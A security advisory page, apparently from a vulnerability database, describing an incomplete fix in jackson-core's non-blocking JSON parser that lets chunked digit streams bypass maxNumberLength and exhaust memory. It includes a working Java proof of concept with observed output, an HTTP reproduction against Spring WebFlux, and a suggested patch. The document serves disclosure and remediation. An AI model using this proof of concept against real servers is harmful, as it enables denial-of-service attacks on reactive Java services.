Reported by tonghuaroot (tonghuaroot@gmail.com). Variant hunt against the Feb 2026 fix for GHSA-72hv-8253-57qq.

Severity

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.fasterxml.jackson.core:jackson-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.18.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.fasterxml.jackson.core:jackson-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.19.0"
            },
            {
              "fixed": "2.21.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "tools.jackson.core:jackson-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.1.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-21T21:58:53Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe fix released in jackson-core `2.18.6` and `2.21.1` for [GHSA-72hv-8253-57qq](https://github.com/FasterXML/jackson-core/security/advisories/GHSA-72hv-8253-57qq) (Number Length Constraint Bypass in Async Parser, published 2026-02-28) is incomplete. The fix commit `b0c428e6` (#1555) wired `validateIntegerLength` into a new `_setIntLength` helper and called it at every place where the integer portion of a number is *decided* (terminator byte arrived, `.` / `e/E` seen, end-of-feed inside a fully-buffered value). It did not call it on the much more attacker-relevant path: \"ran out of input while still inside `MINOR_NUMBER_INTEGER_DIGITS`, return `NOT_AVAILABLE` to caller\".\n\nAs a result, an attacker who streams JSON to a non-blocking parser in many small chunks, without ever sending a terminator byte, can keep the parser inside `MINOR_NUMBER_INTEGER_DIGITS` indefinitely. `_textBuffer.expandCurrentSegment()` grows on every chunk, and `validateIntegerLength` is never invoked. The accumulator is only gated by `maxStringLength` (20 MiB default) \u2014 a **~20,000x amplification** of the documented `maxNumberLength` (1000 default).\n\nThis is the same vulnerability class, same advisory wording (\"Memory Exhaustion: Unbounded allocation in TextBuffer from excessively long numbers\"), same parser class \u2014 just the streaming path the original fix didn\u0027t cover. The fix to the *fraction* path is correct (see `_finishFloatFraction` at line 1834-1837 of `NonBlockingUtf8JsonParserBase.java` in 2.18.6, where `_setFractLength(fractLen)` IS called before the `NOT_AVAILABLE` return); the equivalent call is missing from every integer-digit path.\n\n## Affected versions\n\nVerified on the patched releases:\n- `com.fasterxml.jackson.core:jackson-core` **2.18.6**\n- `com.fasterxml.jackson.core:jackson-core` **2.21.1**\n\nStructurally identical code in `tools.jackson.core` 3.0.x / 3.1.x \u2014 same `NonBlockingUtf8JsonParserBase` class, same `_setIntLength` rollout, same NOT_AVAILABLE returns without validation. Not retested but presumed vulnerable.\n\n## Affected code\n\n[`src/main/java/com/fasterxml/jackson/core/json/async/NonBlockingUtf8JsonParserBase.java`](https://github.com/FasterXML/jackson-core/blob/b0c428e6/src/main/java/com/fasterxml/jackson/core/json/async/NonBlockingUtf8JsonParserBase.java) in 2.18.6 / 2.21.1.\n\n### Site 1 \u2014 `_startPositiveNumber(int ch)` lines 1320-1330:\n\n```java\nif (outPtr \u003e= outBuf.length) {\n    // NOTE: must expand to ensure contents all in a single buffer (to keep\n    // other parts of parsing simpler)\n    outBuf = _textBuffer.expandCurrentSegment();\n}\noutBuf[outPtr++] = (char) ch;\nif (++_inputPtr \u003e= _inputEnd) {\n    _minorState = MINOR_NUMBER_INTEGER_DIGITS;\n    _textBuffer.setCurrentLength(outPtr);\n    return _updateTokenToNA();          // \u003c-- no validateIntegerLength(outPtr)\n}\n```\n\n### Site 2 \u2014 `_finishNumberIntegralPart` lines 1691-1727:\n\n```java\nprotected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {\n    int negMod = _numberNegative ? -1 : 0;\n\n    while (true) {\n        if (_inputPtr \u003e= _inputEnd) {\n            _minorState = MINOR_NUMBER_INTEGER_DIGITS;\n            _textBuffer.setCurrentLength(outPtr);\n            return _updateTokenToNA();    // \u003c-- no validateIntegerLength(outPtr + negMod)\n        }\n        int ch = getByteFromBuffer(_inputPtr) \u0026 0xFF;\n        if (ch \u003c INT_0) {\n            if (ch == INT_PERIOD) {\n                _setIntLength(outPtr+negMod);   // \u003c-- validated here\n                ++_inputPtr;\n                return _startFloat(outBuf, outPtr, ch);\n            }\n            break;\n        }\n        if (ch \u003e INT_9) {\n            if ((ch | 0x20) == INT_e) {\n                _setIntLength(outPtr+negMod);   // \u003c-- validated here\n                ++_inputPtr;\n                return _startFloat(outBuf, outPtr, ch);\n            }\n            break;\n        }\n        ++_inputPtr;\n        if (outPtr \u003e= outBuf.length) {\n            outBuf = _textBuffer.expandCurrentSegment();\n        }\n        outBuf[outPtr++] = (char) ch;\n    }\n    _setIntLength(outPtr+negMod);            // \u003c-- validated here\n    _textBuffer.setCurrentLength(outPtr);\n    return _valueComplete(JsonToken.VALUE_NUMBER_INT);\n}\n```\n\nThe pattern recurs at lines 1297, 1329, 1343, 1365, 1395, 1409, 1437, 1467, 1481, 1586, 1644, 1698 \u2014 every \"ran out of input mid-integer\" exit returns to the caller without validating the accumulator length.\n\n### Compare with the fraction path that is correct\n\n`_finishFloatFraction` lines 1827-1838:\n\n```java\nwhile (loop) {\n    if (ch \u003e= INT_0 \u0026\u0026 ch \u003c= INT_9) {\n        ++fractLen;\n        if (outPtr \u003e= outBuf.length) {\n            outBuf = _textBuffer.expandCurrentSegment();\n        }\n        outBuf[outPtr++] = (char) ch;\n        if (_inputPtr \u003e= _inputEnd) {\n            _textBuffer.setCurrentLength(outPtr);\n            _setFractLength(fractLen);          // \u003c-- VALIDATED\n            return JsonToken.NOT_AVAILABLE;\n        }\n        ch = getNextSignedByteFromBuffer();\n    }\n    ...\n}\n```\n\n## Impact\n\nReactive frameworks (Spring WebFlux / Reactor, Quarkus, Helidon, Vert.x JSON, anything wrapping `JsonFactory.createNonBlockingByteArrayParser()` or `createNonBlockingByteBufferParser()`) feed inbound HTTP/gRPC bytes to the async parser as they arrive. Operators who set `StreamReadConstraints.builder().maxNumberLength(N)` on the assumption that this caps memory per number value are not getting that guarantee in chunked-feed scenarios. The parser silently accumulates digits up to `maxStringLength` (20 MiB default) per concurrent connection. Multiply by attacker-controlled concurrency to OOM the JVM.\n\nThe synchronous parsers (`UTF8StreamJsonParser`, `ReaderBasedJsonParser`) and the async parser on *complete* input are not affected \u2014 those paths go through `_setIntLength` or `ParserBase._reportTooLongIntegral` correctly.\n\nCWE-770 (Allocation of Resources Without Limits or Throttling), CVSS roughly the same as the parent advisory (Network / Low complexity / High availability impact). The parent advisory was scored CVSS 8.7 High.\n\n## Proof of concept\n\nStandalone PoC, no Maven required:\n\n```\nmkdir poc \u0026\u0026 cd poc\ncurl -sLo jackson-core-2.18.6.jar https://repo1.maven.org/maven2/com/fasterxml/jackson/core/jackson-core/2.18.6/jackson-core-2.18.6.jar\ncat \u003e PoC.java \u003c\u003c\u0027EOF\u0027\nimport com.fasterxml.jackson.core.*;\nimport com.fasterxml.jackson.core.async.ByteArrayFeeder;\n\npublic class PoC {\n    public static void main(String[] args) throws Exception {\n        StreamReadConstraints strict = StreamReadConstraints.builder()\n                .maxNumberLength(1000)\n                .build();\n        JsonFactory f = new JsonFactoryBuilder()\n                .streamReadConstraints(strict)\n                .build();\n\n        // Sanity: synchronous parser rejects 5000-digit int.\n        try (JsonParser p = f.createParser(\"{\\\"v\\\":\" + \"1\".repeat(5000) + \"}\")) {\n            while (p.nextToken() != null) { /* drive */ }\n            System.out.println(\"[-] BUG ABSENT: sync parser accepted\");\n            return;\n        } catch (Exception e) {\n            System.out.println(\"[+] sync parser rejected 5000-digit int: \" + e.getClass().getSimpleName());\n        }\n\n        // Bug: async parser, chunked, no terminator.\n        JsonParser ap = f.createNonBlockingByteArrayParser();\n        ByteArrayFeeder feeder = (ByteArrayFeeder) ap;\n\n        byte[] preamble = \"{\\\"v\\\":\".getBytes(\"UTF-8\");\n        feeder.feedInput(preamble, 0, preamble.length);\n        while (ap.nextToken() != JsonToken.NOT_AVAILABLE) { /* drain */ }\n\n        byte[] digits = new byte[16 * 1024];\n        for (int i = 0; i \u003c digits.length; i++) digits[i] = (byte) (\u00271\u0027 + (i % 9));\n\n        for (int c = 0; c \u003c 600; c++) {\n            feeder.feedInput(digits, 0, digits.length);\n            JsonToken t = ap.nextToken();\n            if (t != JsonToken.NOT_AVAILABLE) {\n                System.out.println(\"[-] unexpected token: \" + t);\n                return;\n            }\n        }\n        System.out.println(\"[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000\");\n\n        // Closing the number now finally triggers the validator.\n        feeder.feedInput(\"}\".getBytes(\"UTF-8\"), 0, 1);\n        feeder.endOfInput();\n        try {\n            while (ap.nextToken() != null) { /* drive */ }\n        } catch (Exception e) {\n            System.out.println(\"[*] late rejection on close: \" + e.getMessage().split(\"\\n\")[0]);\n        }\n        ap.close();\n    }\n}\nEOF\njavac -cp jackson-core-2.18.6.jar PoC.java\njava -Xmx256m -cp jackson-core-2.18.6.jar:. PoC\n```\n\nObserved output against `jackson-core-2.18.6`:\n\n```\n[+] sync parser rejected 5000-digit int: StreamConstraintsException\n[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000\n[*] late rejection on close: Number value length (9830400) exceeds the maximum allowed (1000, from `StreamReadConstraints.getMaxNumberLength()`)\n```\n\nObserved output against `jackson-core-2.21.1`: identical.\n\nThe 9.83 MB figure is purely a function of the loop bound (600 chunks * 16 KiB). The actual ceiling is `maxStringLength = 20 MiB`. With the strict policy declared as `maxNumberLength = 1000`, the parser permits **9830x** more allocation than the policy allows. With `maxStringLength` left at the default 20 MiB, an attacker can drive a single connection to 40 MiB of `char[]` heap (chars are 2 bytes each) before the validator finally fires on terminator/`endOfInput()`. Multiply by concurrent connections.\n\n## End-to-end reproduction through real HTTP\n\nSupplements the standalone PoC with a running Spring Boot WebFlux server,\ndriving the same bug through the actual reactor-netty + Jackson2JsonDecoder\nstreaming-decode path that production reactive endpoints use.\n\nSetup:\n- Spring Boot 3.3.5 starter-webflux (spring-webflux 6.1.14, reactor-netty 1.1.23)\n- jackson-databind 2.17.2, jackson-core overridden:\n  - VULN run: `com.fasterxml.jackson.core:jackson-core:2.18.7` (latest published)\n  - PATCHED run: `2.18.8-SNAPSHOT` built from the fix branch\n- JVM: OpenJDK 17.0.18\n- Server `JsonFactory` configured with `StreamReadConstraints.builder().maxNumberLength(1000).build()`\n\nEndpoint under test exposes the `Flux\u003cDataBuffer\u003e` request body directly to\n`Jackson2JsonDecoder.decode(Flux, ResolvableType, ...)` so the parser sees one\nHTTP chunk per `feedInput` (the same pattern used for any\n`@RequestBody Flux\u003c...\u003e` / streaming JSON decoder in WebFlux). A raw-socket\nHTTP/1.1 chunked client streams `{\"v\":1` then 250 chunks of 200 digit bytes\neach (50,000 digits total) at 20ms intervals, then writes the closing `}`.\n\nVULN \u2014 jackson-core 2.18.7:\n```\n[VULN-SMALLCHUNK] streamed 50000 digits across 250 chunks; server still accepting\n[VULN-SMALLCHUNK] full POST sent (50000 digits). Response:\nHTTP/1.1 200 OK\nERR after 6548ms cause=com.fasterxml.jackson.core.exc.StreamConstraintsException:\n       Number value length (50000) exceeds the maximum allowed (1000, ...)\n```\nServer-side controller trace (250 DataBuffer arrivals elided):\n```\n[ctrl] DataBuffer arrived size=6   ms=39       \u003c- \u0027{\"v\":1\u0027\n[ctrl] DataBuffer arrived size=200 ms=42\n...\n[ctrl] DataBuffer arrived size=199 ms=5993\n[ctrl] DataBuffer arrived size=1   ms=6518     \u003c- closing \u0027}\u0027\n[ctrl] ERR after 6548ms ... Number value length (50000) exceeds ...\n```\nServer held all 50,000 digit characters in `_textBuffer` for 6.5 seconds with\n`maxNumberLength=1000` declared. The validator never fires during streaming;\nit only fires at value-completion when the closing `}` arrives.\n\nPATCHED \u2014 jackson-core 2.18.8-SNAPSHOT (fix branch):\n```\n[PATCHED-SMALLCHUNK] connection broke after 2801 digits at chunk 14: [Errno 32] Broken pipe\n[PATCHED-SMALLCHUNK] DONE: digits_sent=2801 status=connection-broke-mid-stream\n```\nServer-side controller trace:\n```\n[ctrl] DataBuffer arrived size=6   ms=129\n[ctrl] DataBuffer arrived size=200 ms=142\n[ctrl] DataBuffer arrived size=200 ms=142\n[ctrl] DataBuffer arrived size=200 ms=145\n[ctrl] DataBuffer arrived size=200 ms=146\n[ctrl] DataBuffer arrived size=200 ms=147\n[ctrl] ERR after 155ms ... Number value length (1001) exceeds the maximum allowed (1000, ...)\n```\nPatched server raises `StreamConstraintsException` at 155ms after only 5\nDataBuffers, exactly when the accumulated digit count crosses\n`maxNumberLength=1000`. The connection is reset mid-stream rather than the\nparser silently consuming the rest of the attacker\u0027s payload.\n\nSide-by-side:\n\n| Build | Chunks accepted before exception | Digits buffered | Time to detection |\n|---|---|---|---|\n| jackson-core 2.18.7 | 250 (full payload) | 50,000 (50x the configured limit) | 6,548ms \u2014 only at terminator |\n| 2.18.8-SNAPSHOT (fix branch) | 5 | 1,001 | 155ms \u2014 moment threshold crossed |\n\nNote on the default `@RequestBody Mono\u003cJsonNode\u003e` path: that path cannot\ndistinguish the two builds because Spring\u0027s `decodeToMono` joins all\nDataBuffers into one before parsing. The exploitable shape is the\nstreaming-decode path (`Flux\u003cJsonNode\u003e` / `@RequestBody Flux\u003c...\u003e` /\nWebSocket / SSE / any direct `decoder.decode(Flux\u003cDataBuffer\u003e, ...)` call),\nwhich is also what `Jackson2Tokenizer` uses for any streaming JSON\ndeserialization in WebFlux and Quarkus reactive REST.\n\n## Suggested fix\n\nMirror the pattern already used in `_finishFloatFraction`. At every site that returns `_updateTokenToNA()` (or `JsonToken.NOT_AVAILABLE`) with `_minorState = MINOR_NUMBER_INTEGER_DIGITS`, call `_setIntLength(outPtr + negMod)` first. Concretely, the diff to `NonBlockingUtf8JsonParserBase.java` would be:\n\n```diff\n     protected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {\n         int negMod = _numberNegative ? -1 : 0;\n\n         while (true) {\n             if (_inputPtr \u003e= _inputEnd) {\n                 _minorState = MINOR_NUMBER_INTEGER_DIGITS;\n                 _textBuffer.setCurrentLength(outPtr);\n+                _streamReadConstraints.validateIntegerLength(outPtr + negMod);\n                 return _updateTokenToNA();\n             }\n```\n\nNote: `_setIntLength` itself can\u0027t be used as-is because it also assigns `_intLength`, and `_intLength` must not be set until the integer is truly complete (subsequent fraction handling reads `_intLength`). The minimal fix is to call only the validator, as shown.\n\nApply the same one-line insertion before each `return _updateTokenToNA();` that exits with `_minorState = MINOR_NUMBER_INTEGER_DIGITS`. The sites are listed above (12 lines total).\n\nAlternatively, a heavier refactor: also gate `_textBuffer.expandCurrentSegment()` calls inside the digit-accumulation loops on `outPtr \u003c maxNumberLength` so that the validator fires at the moment the buffer would be enlarged past the limit, rather than waiting for the next chunk boundary. Either approach is sufficient.\n\n## Credit\n\nReported by `tonghuaroot` (`tonghuaroot@gmail.com`). Variant hunt against the Feb 2026 fix for GHSA-72hv-8253-57qq.",
  "id": "GHSA-r7wm-3cxj-wff9",
  "modified": "2026-08-03T20:30:41Z",
  "published": "2026-07-21T21:58:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-core/security/advisories/GHSA-r7wm-3cxj-wff9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-core/pull/1611"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-core/commit/050b429804dce2a7e08f0be1b0b4c3d040fdb9cd"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-core/commit/4cdd529749da396cc7edf6d4a2aad41d47902641"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-core/commit/c5941e5aae7fd5aeac55d66933cfb82b9aabeef8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FasterXML/jackson-core"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "jackson-core: Async parser maxNumberLength bypass via chunked digit accumulation (incomplete fix for GHSA-72hv-8253-57qq)"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.

Action not permitted

CVE-2026-68494 (GCVE-0-2026-68494)

GHSA-642R-3GJ9-2PJ5

GHSA-R7WM-3CXJ-WFF9

Summary

Affected versions

Affected code

Site 1 — _startPositiveNumber(int ch) lines 1320-1330:

Site 2 — _finishNumberIntegralPart lines 1691-1727:

Compare with the fraction path that is correct

Impact

Proof of concept

End-to-end reproduction through real HTTP

Suggested fix

Credit

Tags

Sightings

Nomenclature

Site 1 — `_startPositiveNumber(int ch)` lines 1320-1330:

Site 2 — `_finishNumberIntegralPart` lines 1691-1727: